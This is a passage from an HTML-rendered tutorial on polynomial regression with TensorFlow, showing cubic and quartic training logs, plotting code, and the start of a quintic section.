<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3493009200.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">819.13513</span><span class="err"> </span><span class="nc">110.64169</span><span class="err"> </span><span class="nc">-402.0677</span><span class="err"> </span><span class="nc">449.3291</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3455228400.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">830.80255</span><span class="err"> </span><span class="nc">24.0964</span><span class="err"> </span><span class="nc">-553.92804</span><span class="err"> </span><span class="nc">438.0652</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3419475500.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">842.21594</span><span class="err"> </span><span class="nc">-60.797424</span><span class="err"> </span><span class="nc">-700.0123</span><span class="err"> </span><span class="nc">441.983</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3385625300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">853.3363</span><span class="err"> </span><span class="nc">-144.08699</span><span class="err"> </span><span class="nc">-840.467</span><span class="err"> </span><span class="nc">460.6356</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3353544700.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">864.19135</span><span class="err"> </span><span class="nc">-225.8125</span><span class="err"> </span><span class="nc">-975.4196</span><span class="err"> </span><span class="nc">493.57703</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3323125000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">874.778</span><span class="err"> </span><span class="nc">-305.98932</span><span class="err"> </span><span class="nc">-1104.9867</span><span class="err"> </span><span class="nc">540.39465</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3294257000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">885.1007</span><span class="err"> </span><span class="nc">-384.63474</span><span class="err"> </span><span class="nc">-1229.277</span><span class="err"> </span><span class="nc">600.65607</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3266820000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">895.18823</span><span class="err"> </span><span class="nc">-461.819</span><span class="err"> </span><span class="nc">-1348.4417</span><span class="err"> </span><span class="nc">673.9051</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3240736000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">905.0128</span><span class="err"> </span><span class="nc">-537.541</span><span class="err"> </span><span class="nc">-1462.6171</span><span class="err"> </span><span class="nc">759.7118</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3215895000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">914.60065</span><span class="err"> </span><span class="nc">-611.8676</span><span class="err"> </span><span class="nc">-1571.9058</span><span class="err"> </span><span class="nc">857.6638</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3192216800.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">923.9603</span><span class="err"> </span><span class="nc">-684.8093</span><span class="err"> </span><span class="nc">-1676.4642</span><span class="err"> </span><span class="nc">967.30475</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3169632300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">933.08594</span><span class="err"> </span><span class="nc">-756.3582</span><span class="err"> </span><span class="nc">-1776.4275</span><span class="err"> </span><span class="nc">1088.2198</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3148046300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">941.9928</span><span class="err"> </span><span class="nc">-826.6257</span><span class="err"> </span><span class="nc">-1871.9355</span><span class="err"> </span><span class="nc">1219.9702</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3127394800.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">950.67896</span><span class="err"> </span><span class="nc">-895.6205</span><span class="err"> </span><span class="nc">-1963.0989</span><span class="err"> </span><span class="nc">1362.1665</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3107608600.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">959.1487</span><span class="err"> </span><span class="nc">-963.38116</span><span class="err"> </span><span class="nc">-2050.0586</span><span class="err"> </span><span class="nc">1514.4026</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3088618200.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">967.4355</span><span class="err"> </span><span class="nc">-1029.9625</span><span class="err"> </span><span class="nc">-2132.961</span><span class="err"> </span><span class="nc">1676.2717</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3070361300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">975.52875</span><span class="err"> </span><span class="nc">-1095.4292</span><span class="err"> </span><span class="nc">-2211.854</span><span class="err"> </span><span class="nc">1847.4485</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3052791300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">983.4346</span><span class="err"> </span><span class="nc">-1159.7922</span><span class="err"> </span><span class="nc">-2286.9412</span><span class="err"> </span><span class="nc">2027.4857</span>
<span class="nt">3052791300.0</span><span class="na"> 983.4346 -1159.7922 -2286.9412 2027.4857</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
  <span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient3</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">&#39;ro&#39;</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Original data&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Fitted line&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;Cubic Regression Result&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<p><img src="/assets/gciTales/03-regression/4.png" alt="" /></p>

<h3 id="quartic">Quartic</h3>

<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
    <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
      <span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
        <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer4</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
        <span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse4</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Epoch&quot;</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">&quot;: Training Cost:&quot;</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">&quot; a,b,c,d:&quot;</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">))</span>

        <span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse4</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
        <span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
        <span class="n">coefficient3</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
        <span class="n">coefficient4</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
        <span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>

<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">coefficient2</span><span class="p">,</span> <span class="n">coefficient3</span><span class="p">,</span> <span class="n">coefficient4</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1902632600.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">84.48304</span><span class="err"> </span><span class="nc">52.210594</span><span class="err"> </span><span class="nc">54.791424</span><span class="err"> </span><span class="nc">142.51952</span><span class="err"> </span><span class="nc">512.0343</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1854316200.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">88.998955</span><span class="err"> </span><span class="nc">13.073557</span><span class="err"> </span><span class="nc">14.276088</span><span class="err"> </span><span class="nc">223.55667</span><span class="err"> </span><span class="nc">1056.4655</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1812812400.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">92.9462</span><span class="err"> </span><span class="nc">-22.331177</span><span class="err"> </span><span class="nc">-15.262934</span><span class="err"> </span><span class="nc">327.41858</span><span class="err"> </span><span class="nc">1634.9054</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1775716000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">96.42522</span><span class="err"> </span><span class="nc">-54.64535</span><span class="err"> </span><span class="nc">-35.829437</span><span class="err"> </span><span class="nc">449.5028</span><span class="err"> </span><span class="nc">2239.1392</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1741494100.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">99.524734</span><span class="err"> </span><span class="nc">-84.43976</span><span class="err"> </span><span class="nc">-49.181057</span><span class="err"> </span><span class="nc">585.85876</span><span class="err"> </span><span class="nc">2862.4915</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1709199600.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">102.31984</span><span class="err"> </span><span class="nc">-112.19895</span><span class="err"> </span><span class="nc">-56.808075</span><span class="err"> </span><span class="nc">733.1876</span><span class="err"> </span><span class="nc">3499.6199</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1678261800.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">104.87324</span><span class="err"> </span><span class="nc">-138.32709</span><span class="err"> </span><span class="nc">-59.9442</span><span class="err"> </span><span class="nc">888.79626</span><span class="err"> </span><span class="nc">4146.2944</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1648340600.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">107.23536</span><span class="err"> </span><span class="nc">-163.15173</span><span class="err"> </span><span class="nc">-59.58964</span><span class="err"> </span><span class="nc">1050.524</span><span class="err"> </span><span class="nc">4798.979</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1619243400.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">109.44742</span><span class="err"> </span><span class="nc">-186.9409</span><span class="err"> </span><span class="nc">-56.53944</span><span class="err"> </span><span class="nc">1216.6432</span><span class="err"> </span><span class="nc">5454.9463</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1590821900.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">111.54233</span><span class="err"> </span><span class="nc">-209.91287</span><span class="err"> </span><span class="nc">-51.423084</span><span class="err"> </span><span class="nc">1385.8513</span><span class="err"> </span><span class="nc">6113.5137</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1563042200.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">113.54405</span><span class="err"> </span><span class="nc">-232.21953</span><span class="err"> </span><span class="nc">-44.73371</span><span class="err"> </span><span class="nc">1557.1084</span><span class="err"> </span><span class="nc">6771.7046</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1535855600.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">115.471565</span><span class="err"> </span><span class="nc">-253.9838</span><span class="err"> </span><span class="nc">-36.851135</span><span class="err"> </span><span class="nc">1729.535</span><span class="err"> </span><span class="nc">7429.069</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1509255300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">117.33939</span><span class="err"> </span><span class="nc">-275.29697</span><span class="err"> </span><span class="nc">-28.0714</span><span class="err"> </span><span class="nc">1902.5308</span><span class="err"> </span><span class="nc">8083.9634</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1483227000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">119.1605</span><span class="err"> </span><span class="nc">-296.2472</span><span class="err"> </span><span class="nc">-18.618649</span><span class="err"> </span><span class="nc">2075.6094</span><span class="err"> </span><span class="nc">8735.381</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1457726700.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">120.94584</span><span class="err"> </span><span class="nc">-316.915</span><span class="err"> </span><span class="nc">-8.650095</span><span class="err"> </span><span class="nc">2248.3247</span><span class="err"> </span><span class="nc">9384.197</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1432777300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">122.69806</span><span class="err"> </span><span class="nc">-337.30704</span><span class="err"> </span><span class="nc">1.7027153</span><span class="err"> </span><span class="nc">2420.5771</span><span class="err"> </span><span class="nc">10028.871</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1408365000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">124.42179</span><span class="err"> </span><span class="nc">-357.45245</span><span class="err"> </span><span class="nc">12.33499</span><span class="err"> </span><span class="nc">2592.2983</span><span class="err"> </span><span class="nc">10669.157</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1384480000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">126.12332</span><span class="err"> </span><span class="nc">-377.39734</span><span class="err"> </span><span class="nc">23.168756</span><span class="err"> </span><span class="nc">2763.0933</span><span class="err"> </span><span class="nc">11305.027</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1361116800.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">127.80568</span><span class="err"> </span><span class="nc">-397.16415</span><span class="err"> </span><span class="nc">34.160156</span><span class="err"> </span><span class="nc">2933.0452</span><span class="err"> </span><span class="nc">11935.669</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1338288100.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">129.4674</span><span class="err"> </span><span class="nc">-416.72803</span><span class="err"> </span><span class="nc">45.259155</span><span class="err"> </span><span class="nc">3101.7727</span><span class="err"> </span><span class="nc">12561.179</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1315959700.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">131.11403</span><span class="err"> </span><span class="nc">-436.14285</span><span class="err"> </span><span class="nc">56.4436</span><span class="err"> </span><span class="nc">3269.3142</span><span class="err"> </span><span class="nc">13182.058</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1294164700.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">132.74377</span><span class="err"> </span><span class="nc">-455.3779</span><span class="err"> </span><span class="nc">67.6757</span><span class="err"> </span><span class="nc">3435.3833</span><span class="err"> </span><span class="nc">13796.807</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1272863600.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">134.35779</span><span class="err"> </span><span class="nc">-474.45316</span><span class="err"> </span><span class="nc">78.96117</span><span class="err"> </span><span class="nc">3600.264</span><span class="err"> </span><span class="nc">14406.58</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1252052600.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">135.9583</span><span class="err"> </span><span class="nc">-493.38254</span><span class="err"> </span><span class="nc">90.268616</span><span class="err"> </span><span class="nc">3764.0078</span><span class="err"> </span><span class="nc">15010.481</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1231713700.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">137.54753</span><span class="err"> </span><span class="nc">-512.1876</span><span class="err"> </span><span class="nc">101.59372</span><span class="err"> </span><span class="nc">3926.4897</span><span class="err"> </span><span class="nc">15609.368</span>
<span class="nt">1231713700.0</span><span class="na"> 137.54753 -512.1876 101.59372 3926.4897 15609.368</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
  <span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient3</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient4</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">&#39;ro&#39;</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Original data&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Fitted line&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;Quartic Regression Result&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<p><img src="/assets/gciTales/03-regression/5.png" alt="" /></p>

<h3 id="quintic">Quintic</h3>

<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
    <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
